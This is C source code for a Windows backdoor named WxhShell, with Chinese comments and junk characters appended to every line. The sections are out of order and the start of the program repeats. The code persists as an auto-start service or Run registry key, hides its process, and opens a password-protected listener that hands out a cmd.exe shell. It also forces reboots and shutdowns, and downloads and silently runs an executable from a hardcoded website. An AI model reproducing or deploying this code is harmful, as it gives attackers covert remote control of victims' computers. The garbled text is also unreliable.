    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T+Z[&|  
    else { J4T"O<i$58  
    closesocket(wsh); >3!~U.AA'x  
    ExitThread(0); u#76w74  
    } B$ eM  
    break; ):$KM{X  
    } OcT Wq  
  // 获取shell YEu+kBlcQ  
  case 's': { os/h~,=  
    CmdShell(wsh); [bhKL5l  
    closesocket(wsh); # e? B  
    ExitThread(0); N%dY.Fk  
    break; C+NN.5No  
  } ``l*;}  
  // 退出 {-4+=7Sg1  
  case 'x': { 9O;Sn+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L7rgkxI7k*  
    CloseIt(wsh); ZmsYRk~@-  
    break; 1Wpu  
    } vB7Gx>BQd  
  // 离开 g04^M (  
  case 'q': { (47?lw &  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4Zbn8GpC  
    closesocket(wsh); {=GmXd%D  
    WSACleanup(); !Cr3>tA  
    exit(1); :^)?AO#J  
    break; aopPv&jY  
        } 5P!ZGbG  
  } +e{ui +  
  } h4` 8C]  
 S_P&Fv  
  // 提示信息 T!c|O3m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HMd?`  
} Nc\DXc-N  
  } *Jsb~wta  
XDPR$u8hM  
  return; ,Cr%2Wg-  
} &>jz[3  
Q!l(2nva  
// shell模块句柄 Y$JVxly  
int CmdShell(SOCKET sock) /8l-@P. o  
{ +=($mcw#[  
STARTUPINFO si; "'v+*H 3  
ZeroMemory(&si,sizeof(si)); s<YN*~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Lf9hOMHx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ey=2 zo^F  
PROCESS_INFORMATION ProcessInfo; f;'*((  
char cmdline[]="cmd"; *u+DAg'&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Bp^LLH  
  return 0; _lv{8vf1B  
} z*},N$2=  
fpf]qQ W~7  
// 自身启动模式 Yi Zk|K_  
int StartFromService(void) m9[ 7"I  
{ nah?V" ?Y  
typedef struct ,WyEwc]  
{ p/Ul[7A4e  
  DWORD ExitStatus; '4'Z  
  DWORD PebBaseAddress; 0|AgmW_7 .  
  DWORD AffinityMask; }g+kU1y  
  DWORD BasePriority; $mJv\;t  
  ULONG UniqueProcessId; {!2K-7;  
  ULONG InheritedFromUniqueProcessId; rUKg<]&@  
}   PROCESS_BASIC_INFORMATION; Biv)s@"f-Q  
q1rj!7  
PROCNTQSIP NtQueryInformationProcess; T1Py6Q,-  
9Q9{>d#"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ("a@V8M`$F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T_*inPf  
N@|<3R!N*e  
  HANDLE             hProcess; [<XYU,{R  
  PROCESS_BASIC_INFORMATION pbi; 6{)pF  
_^_3>}y5op  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :ts3_-cr  
  if(NULL == hInst ) return 0; O\<zQ2m  
)BJkHED{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6:8s,a3&[k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GN_L"|#)=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FAM{p=t]HT  
Au2?f~#Fv  
  if (!NtQueryInformationProcess) return 0; Htgo=7!?\3  
B{/og*xd*1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UBL{3s^"  
  if(!hProcess) return 0; Z1fY' f  
()aCE^C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e=&~6bs1U  
~xqiasE#K  
  CloseHandle(hProcess); &PJ;B)b  
}.g5zy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B?B OAH  
if(hProcess==NULL) return 0; UNDl&C2vz  
p$,G`'l  
HMODULE hMod; }#s{."  
char procName[255]; jRg/N_2'2  
unsigned long cbNeeded; i|{psA  
ZLzc\>QX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [63\2{_^v  
4. R(`#f  
  CloseHandle(hProcess); ,&BNN]k  
+2iD9X{$MX  
if(strstr(procName,"services")) return 1; // 以服务启动 1{N+B#*<[X  
.2%t3ul[  
  return 0; // 注册表启动 =AO (  
} ]njNSn  
IR${a)  
// 主模块 aL:|Dr3SX  
int StartWxhshell(LPSTR lpCmdLine) D?dBm  
{ !H\;X`W|~D  
  SOCKET wsl; 1 iox0  
BOOL val=TRUE; 3@" :&  
  int port=0; AUD) =a>  
  struct sockaddr_in door; ,P9F*;Dj  
lrJV"H  
  if(wscfg.ws_autoins) Install(); Pm%xX~H  
/0\g!29l<  
port=atoi(lpCmdLine); ~u%$ 9IhM  
3t<a3"{9  
if(port<=0) port=wscfg.ws_port; ]$ d ;P  
~HIj+kN  
  WSADATA data; [7}3k?42X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gnH {_  
VzXVy)d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4FzTf7h^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9D14/9*(dU  
  door.sin_family = AF_INET; JtO}i{A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); },d^y:m  
  door.sin_port = htons(port); K~d'*J-  
XYvj3+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dU9;sx  
closesocket(wsl); _&]7  
return 1; 6 rnFXZ\  
} Md4Q.8  
GTLS0l)  
  if(listen(wsl,2) == INVALID_SOCKET) { '1D $ ;  
closesocket(wsl); 1 3 ]e< '  
return 1; *IOrv)  
} |? V7E\S  
  Wxhshell(wsl); W(]A^C=/  
  WSACleanup(); LM eI[Ji  
^mL X}E]  
return 0; ,f^fr&6jb  
v7pu  
} (kR NqfX  
\0 ~?i6o  
// 以NT服务方式启动 Fj`k3~tUw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n{N0S^h  
{ E2M<I;:EA  
DWORD   status = 0; QqQhQGV  
  DWORD   specificError = 0xfffffff; f$FO 1B)  
Y$>NsgQn6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <-.@,HQ+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )jXKPLj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :h(RS ;  
  serviceStatus.dwWin32ExitCode     = 0; i[[.1MnS  
  serviceStatus.dwServiceSpecificExitCode = 0; (nO2+@ !  
  serviceStatus.dwCheckPoint       = 0; K+|XI|1p  
  serviceStatus.dwWaitHint       = 0; -Kg.w*\H7/  
aB6/-T+ u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f_)#  
  if (hServiceStatusHandle==0) return;  el2Wk@*  
ng/h6 S  
status = GetLastError(); Q~(Qh_Ff  
  if (status!=NO_ERROR) 7C'@g)@^/  
{ __eB 7]#E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wb9(aS4  
    serviceStatus.dwCheckPoint       = 0; dDA8IW![S  
    serviceStatus.dwWaitHint       = 0; @&G}'6vF!  
    serviceStatus.dwWin32ExitCode     = status; ^ oav-R&  
    serviceStatus.dwServiceSpecificExitCode = specificError; z00X ?F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~IYR&GEaUG  
    return; {XIpH r  
  } *` mxv0w~(  
q6pHL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8KJ`+"<=@  
  serviceStatus.dwCheckPoint       = 0; ' ds2\gN  
  serviceStatus.dwWaitHint       = 0; .u\$wJ9Ai  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3ibQbk  
} {X<g93  
j5DCc,s  
// 处理NT服务事件,比如:启动、停止 C7F\Y1Wj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OCu_v%G 0  
{ gbYM1guiD  
switch(fdwControl) `^#4okg]  
{ E{[Y8U1n  
case SERVICE_CONTROL_STOP: c3GBY@m  
  serviceStatus.dwWin32ExitCode = 0; `Njvk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YCE *Dm  
  serviceStatus.dwCheckPoint   = 0; $VQ;y|K+[  
  serviceStatus.dwWaitHint     = 0; DTH}=r-  
  { LpY{<:y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [_jw8`  
  } /RJ]MQ\*O  
  return; 3\4e{3$  
case SERVICE_CONTROL_PAUSE: vv&< 7[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2H w7V3q  
  break; q]yw",muT  
case SERVICE_CONTROL_CONTINUE: [ >mH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kSiyMDY-  
  break; k9oi8G'g~  
case SERVICE_CONTROL_INTERROGATE: SrH::-{  
  break; OD7^*j(p`  
}; I'BHNZO5tf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TrzAgNt  
} Io*H}$Gf  
m#_Rv  
// 标准应用程序主函数 i7- i!`<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .`~?w+ ~  
{ tl /i  
Odwf7>  
// 获取操作系统版本 9QX!HQ|5y8  
OsIsNt=GetOsVer(); I4%kYp]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [K,P)V>K  
}F0<8L6%  
  // 从命令行安装 pYzop4  
  if(strpbrk(lpCmdLine,"iI")) Install(); dhA~Yu  
2]?=\_T  
  // 下载执行文件 LZ_0=Xx%  
if(wscfg.ws_downexe) { )#z{P[X^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7b08Lo7b  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZHjL8Iq  
} ,9d]-CuP;  
*Sdx:G~gp  
if(!OsIsNt) { 9,~7,Py}  
// 如果时win9x,隐藏进程并且设置为注册表启动 }wRm ~  
HideProc(); @gb W:  
StartWxhshell(lpCmdLine); IV!`~\@  
} a9;KS>~bq  
else 9#7W+9  
  if(StartFromService()) yYGs] +  
  // 以服务方式启动 $ c-O+~  
  StartServiceCtrlDispatcher(DispatchTable); z/"*-+j  
else WPsfl8@D  
  // 普通方式启动 Bk3\NPa  
  StartWxhshell(lpCmdLine); Pb;c:HeI/  
7'e sJ)2  
return 0; E,tdn#_|  
} sgi5dQ  
+kd1q  
I;"pPJ3G  
d'Bxi"K  
=========================================== 8#JX#<HEo  
TW>GYGz  
w!H(zjv&(  
>i*,6Psl[Z  
JDR_k  
Uc:NW   
" e(/F:ZEh  
!@ ]IJ"\  
#include <stdio.h> *GoTN  
#include <string.h> ssLswb  
#include <windows.h> 8Yk*$RR9  
#include <winsock2.h> U!-Nx9  
#include <winsvc.h> E\DA3lq  
#include <urlmon.h> :0B 7lDw  
)aGSZ1`/  
#pragma comment (lib, "Ws2_32.lib") wHs1ge(  
#pragma comment (lib, "urlmon.lib") ws9IO ?|&G  
X uE: dL?  
#define MAX_USER   100 // 最大客户端连接数 1|4,jm$  
#define BUF_SOCK   200 // sock buffer >Y8\f:KQ  
#define KEY_BUFF   255 // 输入 buffer uarfH]T{  
' m~=sC_uL  
#define REBOOT     0   // 重启 9h6Oq(0b8  
#define SHUTDOWN   1   // 关机 .,z6a  
Wgh@XB  
#define DEF_PORT   5000 // 监听端口 WtZI1`\qe  
-GFZFi  
#define REG_LEN     16   // 注册表键长度 ;<Z6Y3>I8  
#define SVC_LEN     80   // NT服务名长度 H}kSXKO8!8  
MuOKauYa  
// 从dll定义API 3%?tUt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }~+,x#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #at`7#K@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T 'c39  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1Zn8CmE V  
-c]AS[(  
// wxhshell配置信息 9x@|%4Zm"  
struct WSCFG { ko[w#j  
  int ws_port;         // 监听端口 l[:Aq&[o3  
  char ws_passstr[REG_LEN]; // 口令 >-N(o2j3  
  int ws_autoins;       // 安装标记, 1=yes 0=no M{5AQzvs  
  char ws_regname[REG_LEN]; // 注册表键名 ~x8nC%qPvq  
  char ws_svcname[REG_LEN]; // 服务名 pAatv;Ex  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  "&k(lQ4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #PD6LO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mTI`^e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k2v:F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :1UMA@HP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8lpAe0p(Z  
;_"|#  
}; ?nW>' z  
T#-;>@a}  
// default Wxhshell configuration la+Cra&xL  
struct WSCFG wscfg={DEF_PORT, w1"+HJd  
    "xuhuanlingzhe", A/<u>cCW  
    1, ]7Vg9&1`  
    "Wxhshell", ;9OhK71}  
    "Wxhshell", TC/c5:)]  
            "WxhShell Service", [ -$ Do  
    "Wrsky Windows CmdShell Service", WuU wd#e  
    "Please Input Your Password: ", uRko[W(  
  1, 1`7zYW&L  
  "http://www.wrsky.com/wxhshell.exe", &$/ #"lW,V  
  "Wxhshell.exe" d)vP9vXy  
    }; oV:oc,  
HCN/|z1Xq  
// 消息定义模块 *z VN6wG{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ll|_Wd.K,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `?Q p>t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (|^m9v0:  
char *msg_ws_ext="\n\rExit."; b&F9<XLqq  
char *msg_ws_end="\n\rQuit."; CfU|]<  
char *msg_ws_boot="\n\rReboot..."; 0mSP  
char *msg_ws_poff="\n\rShutdown..."; ?+d`_/IB  
char *msg_ws_down="\n\rSave to "; d5m -f/  
_Ub `\ytx  
char *msg_ws_err="\n\rErr!"; !e|\1v'0  
char *msg_ws_ok="\n\rOK!"; !B3TLe h  
R(~wSL*R>  
char ExeFile[MAX_PATH]; H\S)a FY[  
int nUser = 0; lDYgt UKG  
HANDLE handles[MAX_USER]; [7v|bd  
int OsIsNt; 5^Qa8yA>7  
!y _{mE?V(  
SERVICE_STATUS       serviceStatus; |Ghk8 WA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C[^V\?3ly:  
/IpCo  
// 函数声明 ;>?h/tS6  
int Install(void); Ki;SONSV~|  
int Uninstall(void); -x//@8"   
int DownloadFile(char *sURL, SOCKET wsh); /WTEz\k  
int Boot(int flag); ss)x fG  
void HideProc(void); f4f2xe7\Q  
int GetOsVer(void); S!b18|o"  
int Wxhshell(SOCKET wsl); s/D)X=P1  
void TalkWithClient(void *cs); .hat!Tt9  
int CmdShell(SOCKET sock); "@UQSf,  
int StartFromService(void); vamZKm~p  
int StartWxhshell(LPSTR lpCmdLine); q\6(_U#Tl  
D`LBv,n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B3#G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !K>iSF<  
KMRPleF  
// 数据结构和表定义 =5+*TL`  
SERVICE_TABLE_ENTRY DispatchTable[] = sasurR|;  
{ LCHMh6  
{wscfg.ws_svcname, NTServiceMain}, (wDE!H7  
{NULL, NULL} `$T$483/  
}; I'uwJy_I\  
Z4] n<~o  
// 自我安装 }g}Eh>U  
int Install(void) 5}#wp4U  
{ ,S-h~x  
  char svExeFile[MAX_PATH]; w"^h<]b  
  HKEY key; 9"P|Csj  
  strcpy(svExeFile,ExeFile); bx3Q$|M?  
<gp?}Lk  
// 如果是win9x系统,修改注册表设为自启动 X NJ4T]><  
if(!OsIsNt) { [*',pG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s6bsVAO>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bHwEd%f  
  RegCloseKey(key); m^_=^z+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jxe+LG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~K;QdV=YX  
  RegCloseKey(key); ":Dm/g  
  return 0; iQ)ydY a  
    } W7>2&$  
  } sl]< A[jR  
} E#k{<LYI  
else { MYAt4cHc2  
OR <+y~Rv  
// 如果是NT以上系统,安装为系统服务 (@1:1K(   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6CY&pbR  
if (schSCManager!=0) %=aKW[uq]  
{ XIW0Z C   
  SC_HANDLE schService = CreateService {D +mr[ %  
  ( oh9 ;_~  
  schSCManager, ?E([Nc0T  
  wscfg.ws_svcname, P\jGyS j  
  wscfg.ws_svcdisp, JVE\{ e)  
  SERVICE_ALL_ACCESS, & LE5' .s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &R94xh%@(  
  SERVICE_AUTO_START, {7NGfzwp;6  
  SERVICE_ERROR_NORMAL, 0t <nH%N}^  
  svExeFile, $83B10OQ&L  
  NULL, '/W$9jm  
  NULL, 8|a./%gixs  
  NULL, )[Y B&  
  NULL, &k }f"TX2  
  NULL PVCoXOqh  
  ); -=ZL(r 1  
  if (schService!=0) .G0 N+)  
  { Luq4q95]  
  CloseServiceHandle(schService); a{5SOe;;  
  CloseServiceHandle(schSCManager); $]v}X},,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^J'_CA  
  strcat(svExeFile,wscfg.ws_svcname); / ;]5X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ht3.e[%'b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (`P\nnb  
  RegCloseKey(key); lPTx] =G  
  return 0; yeo&Qz2vU  
    } P?54"$b  
  } tq3Wga!5  
  CloseServiceHandle(schSCManager); }r,\0Wm  
} E[H  
} FKa";f"  
/R)wM#&  
return 1; >[}oH2oi  
} hx;f/E Px  
OrY[  
// 自我卸载 V>Wk\'h  
int Uninstall(void) \/a6h   
{ {MUB4-@?F$  
  HKEY key; r~4uIUE{  
7u):J  
if(!OsIsNt) { .Eao|;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \CbJU  
  RegDeleteValue(key,wscfg.ws_regname); UtZ,q!sg  
  RegCloseKey(key); j)A#}4jd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D&@]  
  RegDeleteValue(key,wscfg.ws_regname); Wa_qD  
  RegCloseKey(key); YG p+[|'  
  return 0; tK#R`AQ  
  } K5""%O+  
} :{lwz#9V  
} GIC1]y-'  
else { C8N)!5(A  
r"h;JC/&<T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [Kg b#L'{  
if (schSCManager!=0) ).k DY ?s  
{ @-N` W9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e[S`Dm"i)'  
  if (schService!=0) 0#q=-M/?`  
  { VtreOJ+  
  if(DeleteService(schService)!=0) { `8:0x?X  
  CloseServiceHandle(schService); nwRltK  
  CloseServiceHandle(schSCManager); 7e/+C{3v  
  return 0; [K!9xM6  
  } Gr"CHz/  
  CloseServiceHandle(schService); G0cG%sIl  
  } Tkbao D  
  CloseServiceHandle(schSCManager); I[ \~ pi,  
} UM}u(;oo%)  
} }pc9uvmIJ  
O] _4pP  
return 1; 7nZPh3%  
} e#eVc'=cDR  
f8 d 3ZK  
// 从指定url下载文件 AOf4y&B>q  
int DownloadFile(char *sURL, SOCKET wsh) 6*OL.~WE  
{ NkE0S`Xf  
  HRESULT hr; wT1s;2%  
char seps[]= "/"; VJh8`PVX  
char *token; SC{m@  
char *file; 1J@Iekat  
char myURL[MAX_PATH]; vqf$("  
char myFILE[MAX_PATH]; tYS4"Nfb+  
 Cs,H#L  
strcpy(myURL,sURL); Ucj?$=  
  token=strtok(myURL,seps); ZykMri3bi  
  while(token!=NULL) W :w~ M'o  
  { s}D>.9  
    file=token; rr<E#w  
  token=strtok(NULL,seps); >ZA=9v  
  } bp1AN9~  
.8hI ad  
GetCurrentDirectory(MAX_PATH,myFILE); 2h E(h  
strcat(myFILE, "\\"); xNP_>Qa~  
strcat(myFILE, file); 7ubz7*  
  send(wsh,myFILE,strlen(myFILE),0); p7?  
send(wsh,"...",3,0); &y[NC AeA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >yIJ8IDF  
  if(hr==S_OK) xo:kT)  
return 0; hy;VvAH 5  
else IRdt:B|@  
return 1; !_S>ER  
V5|ANt  
} [U\?+@E*  
N^^0j,  
// 系统电源模块 :5d>^6eoB?  
int Boot(int flag) BHXi g~d  
{ OWd'z1Yl  
  HANDLE hToken; GkIE;7#2kX  
  TOKEN_PRIVILEGES tkp; *bkb-n Kw  
N<EVs.7  
  if(OsIsNt) { {Gxe%gu6K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7  ,Rg~L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :Pud%}'  
    tkp.PrivilegeCount = 1; c :R?da  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J~YT~D 2L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WJ7|0qb  
if(flag==REBOOT) { '<Z[e`/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^0VL](bD>  
  return 0; ?KT{H( rU  
} R1jl<=  
else { pYO =pL^Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \& JZ >h  
  return 0; jDzQw>T X  
} 1Pf(.&/9_  
  } ]@q%dsz  
  else { en<mm#Ab  
if(flag==REBOOT) { Lu.zc='\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UHBXq;?&q  
  return 0; K^- 1M?  
} w~'xZ?  
else { 9&Y@g)+2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @Z)|_  
  return 0; \l+v,ELX=  
} $ /VQsb  
}  %Bq~b$  
Bx\&7|,x  
return 1; V0ze7tSG[f  
} 8^mE<  
|rmelQ-  
// win9x进程隐藏模块 4=PjS<Lu8  
void HideProc(void) CB@7XUR  
{ :qYp%Ub  
~zp8%lEe  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "TRS(d|3  
  if ( hKernel != NULL ) E&[5b4D@<  
  { 7]{g^g.9-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9+.wj/75  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nhI+xqfn  
    FreeLibrary(hKernel); P<<$o-a"  
  } #h5:b`fDF  
A|A~$v("R  
return; z^Q'GBoBA  
} [K{{P|(q  
y@P%t9l  
// 获取操作系统版本 De$AJl  
int GetOsVer(void) "W<Y1$Y=Y  
{ 'uPAG;)m  
  OSVERSIONINFO winfo; P5S ]h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %&ejO= r  
  GetVersionEx(&winfo); cx}Yu8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J8|MK.oD  
  return 1; Daf|.5>(@  
  else :uL<UD,vu3  
  return 0; ;m/e|_4;y  
} nF3}wCe)  
&|>@K#V8-;  
// 客户端句柄模块 &(F c .3m  
int Wxhshell(SOCKET wsl) 9u=A:n\  
{ 4;`z6\u9-  
  SOCKET wsh; ~/OY1~c  
  struct sockaddr_in client; w$2q00R>  
  DWORD myID; 'g v0;L  
\ovs[&  
  while(nUser<MAX_USER) f}otIf  
{ vEv kC  
  int nSize=sizeof(client); m*0YMS>Y |  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7vRtTP  
  if(wsh==INVALID_SOCKET) return 1; bzN[*X|  
5#Er& 6s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }~FX!F#oU  
if(handles[nUser]==0) WP<L9A  
  closesocket(wsh); Xr*I`BJ  
else 1v@#b@NXM7  
  nUser++; W/'1ftn?D  
  } 0cG'37[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bWPsfUn#  
z 4u&#.bU  
  return 0; ]HKt7 %,  
} jP@ @<dt  
{QG.> lB  
// 关闭 socket a`O'ZY  
void CloseIt(SOCKET wsh) .jrNi=BP*  
{ w OL,LU  
closesocket(wsh); q'D Ts9Bj  
nUser--; )e(<YST  
ExitThread(0); A;AQw  
} mxNd  
x#{!hL 5G  
// 客户端请求句柄 5K vp%   
void TalkWithClient(void *cs) '/ Aq2  
{ @@d_F<Ym[  
#UGSn:D<i  
  SOCKET wsh=(SOCKET)cs; 1NYR8W]2  
  char pwd[SVC_LEN]; VKa+[  
  char cmd[KEY_BUFF]; *d._H1zT  
char chr[1]; InPE_  
int i,j; }YwaN'3p!  
&/@V$'G=  
  while (nUser < MAX_USER) { :!gNOR6Lh  
CmEqo;Is  
if(wscfg.ws_passstr) { 'g#%>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )~2\4t4|g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \J LGw1F  
  //ZeroMemory(pwd,KEY_BUFF); Bdo{zv&A  
      i=0; `}X3f#eO&  
  while(i<SVC_LEN) { 5F kdGF  
F5)`FM^R  
  // 设置超时 x&B&lFmo 8  
  fd_set FdRead; 6w.E Sm  
  struct timeval TimeOut; vCa8`m  
  FD_ZERO(&FdRead); 3%v)!dTa<^  
  FD_SET(wsh,&FdRead); Vl.,e1)6  
  TimeOut.tv_sec=8; 8Vu@awz{L  
  TimeOut.tv_usec=0; Okq,p=D6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DrRK Sc(u9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +n^M+ea;  
JCWTB`EB>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "@ >6<(Ki  
  pwd=chr[0]; +pd,gG?dW  
  if(chr[0]==0xd || chr[0]==0xa) { W(q3m;n  
  pwd=0; ^*.[b  
  break; Ai/X*y:[?  
  } (j}7|*.  
  i++; <J509j  
    } j>8DaEfwx  
;|Cd q  
  // 如果是非法用户,关闭 socket s5~k]"{j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c^}G=Z1@  
} .*zN@y3  
^O|fw?,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y2W+YV*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0E.N3iU  
H cmW  
while(1) { 1>(EvY}Y\  
R"ON5,E  
  ZeroMemory(cmd,KEY_BUFF); G,C`+1$*  
_CD~5EA:  
      // 自动支持客户端 telnet标准   WD5J2EePT  
  j=0; (MGg r  
  while(j<KEY_BUFF) { J[lC$X[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hq.rG-,p  
  cmd[j]=chr[0]; eV7;#w<]  
  if(chr[0]==0xa || chr[0]==0xd) { Vr2A7kq  
  cmd[j]=0; gP_N|LuF"  
  break;  : (UK'i  
  } uFr12ZFgK  
  j++; 0/HFLz'  
    } Q,?_;,I}  
/@:X0}L  
  // 下载文件 >n7h%c  
  if(strstr(cmd,"http://")) { 0C zQel)L:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TdFU,  
  if(DownloadFile(cmd,wsh)) I Q_6DF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; Y/nS  
  else j!+jLm!l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %q5dV<X'c  
  } RV~t%Sw^  
  else { N~/ 'EaO  
z;JV3) E  
    switch(cmd[0]) { ^E}?YgNp  
  1PY]Q{r  
